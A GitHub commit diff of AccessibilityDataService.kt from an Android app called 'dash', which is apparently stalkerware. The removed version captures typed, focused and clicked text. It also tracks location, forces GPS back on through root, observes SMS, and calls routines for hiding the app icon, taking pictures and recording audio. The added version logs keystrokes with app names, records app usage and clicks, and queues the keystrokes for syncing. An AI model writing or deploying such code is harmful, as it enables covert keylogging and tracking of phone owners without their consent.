Skip to content

Commit 676cfc0

Browse files
authored
Update AccessibilityDataService.kt
1 parent edf4449 commit 676cfc0

File tree

1 file changed

+115
-121
lines changed

1 file changed

+115
-121
lines changed
Lines changed: 115 additions & 121 deletions
Original file line numberDiff line numberDiff line change
@@ -1,122 +1,116 @@
1-
package com.github.muneebwanee.dash.services.accessibilityData
2-
3-
import android.Manifest
4-
import android.accessibilityservice.AccessibilityService
5-
import android.content.Context
6-
import android.content.pm.PackageManager
7-
import android.location.Location
8-
import android.location.LocationListener
9-
import android.location.LocationManager
10-
import android.os.Bundle
11-
import android.os.Handler
12-
import android.provider.Telephony
13-
import androidx.core.app.ActivityCompat
14-
import android.view.accessibility.AccessibilityEvent
15-
import com.github.muneebwanee.dash.app.Dash
16-
import com.github.muneebwanee.dash.services.sms.SmsObserver
17-
import com.github.muneebwanee.dash.utils.ConstFun.enableGpsRoot
18-
import com.github.muneebwanee.dash.utils.ConstFun.getDateTime
19-
import com.github.muneebwanee.dash.utils.ConstFun.isRoot
20-
import com.github.muneebwanee.dash.utils.Consts.TAG
21-
import com.pawegio.kandroid.i
22-
import com.pawegio.kandroid.runDelayedOnUiThread
23-
import javax.inject.Inject
24-
25-
/**
26-
* Created by muneebwanee on 15/12/20.
27-
*/
28-
class AccessibilityDataService : AccessibilityService(), LocationListener {
29-
30-
companion object {
31-
var isRunningService : Boolean = false
32-
}
33-
34-
@Inject lateinit var interactor: InteractorAccessibilityData
35-
36-
private lateinit var locationManager: LocationManager
37-
38-
override fun onCreate() {
39-
super.onCreate()
40-
Dash.appComponent.inject(this)
41-
getLocation()
42-
interactor.getShowOrHideApp()
43-
interactor.getCapturePicture()
44-
interactor.getRecordingAudio()
45-
registerSmsObserver()
46-
}
47-
48-
private fun registerSmsObserver() =
49-
contentResolver.registerContentObserver(Telephony.Sms.CONTENT_URI,true, SmsObserver(this,Handler()))
50-
51-
override fun onInterrupt() {}
52-
53-
override fun onAccessibilityEvent(event: AccessibilityEvent) {
54-
55-
when (event.eventType) {
56-
57-
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
58-
val data = event.text.toString()
59-
if (data != "[]") {
60-
interactor.setDataKey("${getDateTime()} |(TEXT)| $data")
61-
i(TAG, "${getDateTime()} |(TEXT)| $data")
62-
}
63-
}
64-
AccessibilityEvent.TYPE_VIEW_FOCUSED -> {
65-
val data = event.text.toString()
66-
if (data != "[]") {
67-
interactor.setDataKey("${getDateTime()} |(FOCUSED)| $data")
68-
i(TAG, "${getDateTime()} |(FOCUSED)| $data")
69-
}
70-
}
71-
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
72-
val data = event.text.toString()
73-
if (data != "[]") {
74-
interactor.setDataKey("${getDateTime()} |(CLICKED)| $data")
75-
i(TAG, "${getDateTime()} |(CLICKED)| $data")
76-
}
77-
}
78-
}
79-
80-
}
81-
82-
override fun onServiceConnected() {
83-
isRunningService = true
84-
interactor.setRunServiceData(true)
85-
interactor.getSocialStatus()
86-
interactor.startCountDownTimer()
87-
super.onServiceConnected()
88-
}
89-
90-
override fun onDestroy() {
91-
isRunningService = false
92-
interactor.stopCountDownTimer()
93-
interactor.setRunServiceData(false)
94-
interactor.clearDisposable()
95-
super.onDestroy()
96-
}
97-
98-
99-
//location
100-
private fun getLocation() {
101-
locationManager = getSystemService(Context.LOCATION_SERVICE) as LocationManager
102-
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
103-
interactor.enablePermissionLocation(true)
104-
locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 1000, 0f, this)
105-
} else interactor.enablePermissionLocation(false)
106-
}
107-
108-
override fun onLocationChanged(location: Location) = interactor.setDataLocation(location)
109-
110-
override fun onStatusChanged(provider: String?, status: Int, extras: Bundle?) {}
111-
112-
override fun onProviderEnabled(provider: String?) {
113-
if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) interactor.enableGps(true)
114-
}
115-
116-
override fun onProviderDisabled(provider: String?) {
117-
if (!locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) interactor.enableGps(false)
118-
runDelayedOnUiThread(3000){ if (isRoot()) enableGpsRoot() }
119-
}
120-
1+
package com.github.muneebwanee.dash.services.accessibility
2+
3+
import android.accessibilityservice.AccessibilityService
4+
import android.view.accessibility.AccessibilityEvent
5+
import androidx.work.OneTimeWorkRequestBuilder
6+
import androidx.work.WorkManager
7+
import androidx.work.workDataOf
8+
import com.github.muneebwanee.dash.app.DashApplication
9+
import com.github.muneebwanee.dash.workers.DataSyncWorker
10+
import dagger.hilt.android.AndroidEntryPoint
11+
import kotlinx.coroutines.CoroutineScope
12+
import kotlinx.coroutines.Dispatchers
13+
import kotlinx.coroutines.SupervisorJob
14+
import kotlinx.coroutines.launch
15+
import timber.log.Timber
16+
import javax.inject.Inject
17+
18+
@AndroidEntryPoint
19+
class AccessibilityDataService : AccessibilityService() {
20+
21+
private val serviceScope = CoroutineScope(SupervisorJob() + Dispatchers.Main.immediate)
22+
23+
@Inject
24+
lateinit var accessibilityInteractor: AccessibilityInteractor
25+
26+
companion object {
27+
var isRunningService: Boolean = false
28+
private const val NOTIFICATION_ID = 1001
29+
}
30+
31+
override fun onCreate() {
32+
super.onCreate()
33+
isRunningService = true
34+
35+
startForegroundServiceWithNotification()
36+
37+
serviceScope.launch {
38+
accessibilityInteractor.initialize()
39+
}
40+
41+
Timber.d("AccessibilityDataService created")
42+
}
43+
44+
override fun onAccessibilityEvent(event: AccessibilityEvent) {
45+
when (event.eventType) {
46+
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
47+
handleTextChanged(event)
48+
}
49+
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
50+
handleWindowStateChanged(event)
51+
}
52+
AccessibilityEvent.TYPE_VIEW_CLICKED -> {
53+
handleViewClicked(event)
54+
}
55+
}
56+
}
57+
58+
private fun handleTextChanged(event: AccessibilityEvent) {
59+
val text = event.text?.toString()
60+
if (!text.isNullOrEmpty() && text != "[]") {
61+
serviceScope.launch {
62+
accessibilityInteractor.logKeystroke(text, event.packageName?.toString())
63+
scheduleDataSync("keystroke", text)
64+
}
65+
}
66+
}
67+
68+
private fun handleWindowStateChanged(event: AccessibilityEvent) {
69+
val packageName = event.packageName?.toString()
70+
if (!packageName.isNullOrEmpty()) {
71+
serviceScope.launch {
72+
accessibilityInteractor.logAppUsage(packageName)
73+
}
74+
}
75+
}
76+
77+
private fun handleViewClicked(event: AccessibilityEvent) {
78+
serviceScope.launch {
79+
accessibilityInteractor.logUserInteraction(
80+
event.packageName?.toString(),
81+
event.className?.toString(),
82+
"click"
83+
)
84+
}
85+
}
86+
87+
private fun scheduleDataSync(dataType: String, data: String) {
88+
val workRequest = OneTimeWorkRequestBuilder<DataSyncWorker>()
89+
.setInputData(
90+
workDataOf(
91+
"data_type" to dataType,
92+
"data" to data,
93+
"timestamp" to System.currentTimeMillis()
94+
)
95+
)
96+
.build()
97+
98+
WorkManager.getInstance(this).enqueue(workRequest)
99+
}
100+
101+
private fun startForegroundServiceWithNotification() {
102+
val notification = accessibilityInteractor.createAccessibilityNotification()
103+
startForeground(NOTIFICATION_ID, notification)
104+
}
105+
106+
override fun onInterrupt() {
107+
Timber.w("AccessibilityDataService interrupted")
108+
}
109+
110+
override fun onDestroy() {
111+
super.onDestroy()
112+
isRunningService = false
113+
serviceScope.cancel()
114+
Timber.d("AccessibilityDataService destroyed")
115+
}
121116
}
122-

0 commit comments

Comments
 (0)